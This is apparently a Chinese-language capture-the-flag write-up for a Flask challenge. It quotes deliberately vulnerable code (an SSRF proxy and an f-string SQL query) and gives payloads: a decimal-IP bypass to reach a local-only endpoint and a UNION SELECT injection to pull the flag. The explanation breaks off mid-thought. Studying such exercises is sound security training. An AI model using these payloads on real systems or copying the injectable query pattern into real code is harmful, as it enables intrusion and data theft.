#!/usr/bin/env python3 import flask import sqlite3 import requests import string import json app = flask.Flask(__name__) blacklist = string.ascii_letters def binary_to_string(binary_string): if len(binary_string) % 8 != 0: raise ValueError("Binary string length must be a multiple of 8") binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)] string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks) return string_output @app.route('/proxy', methods=['GET']) def nolettersproxy(): url = flask.request.args.get('url') if not url: return flask.abort(400, 'No URL provided') target_url = "http://lamentxu.top" + url for i in blacklist: if i in url: return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~') if "." in url: return flask.abort(403, 'No ssrf allowed') response = requests.get(target_url) return flask.Response(response.content, response.status_code) def db_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))") found = cur.fetchone() return None if found is None else found[0] @app.route('/') def index(): print(flask.request.remote_addr) return flask.render_template("index.html") @app.route('/1337', methods=['GET']) def api_search(): if flask.request.remote_addr == '127.0.0.1': code = flask.request.args.get('0') if code == 'abcdefghi': req = flask.request.args.get('1') try: req = binary_to_string(req) print(req) req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;) except: flask.abort(400, "Invalid JSON") if 'name' not in req: flask.abort(400, "Empty Person's name") name = req['name'] if len(name) > 6: flask.abort(400, "Too long") if '\'' in name: flask.abort(400, "NO '") if ')' in name: flask.abort(400, "NO )") """ Some waf hidden here ;) """ fate = db_search(name) if fate is None: flask.abort(404, "No such Person") return {'Fate': fate} else: flask.abort(400, "Hello local, and hello hacker") else: flask.abort(403, "Only local access allowed") if __name__ == '__main__': app.run(debug=True)
def string_to_binary(input_string): binary_chunks = [] for char in input_string: binary_char = bin(ord(char))[2:].zfill(8) binary_chunks.append(binary_char) binary_string = ''.join(binary_chunks) return binary_string
所以,第一块的payload即:?url=@2130706433/?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261='转化到的二进制' 第二块需要我们如何绕过严密的WAF实现sql注入 注意我们在init_db.py上找到flag位置LAMENTXU,存在flag,即绕过进行"')))))) union select fate from FATETABLE where name='LAMENTXU' --"可 那么如何传入?python格式化漏洞 注意到有f’xxxx’,简单来讲,它可以把其他类型转化为字符串;这道题就这样,但是关于该漏洞的知识点,有机会会总结一篇 例子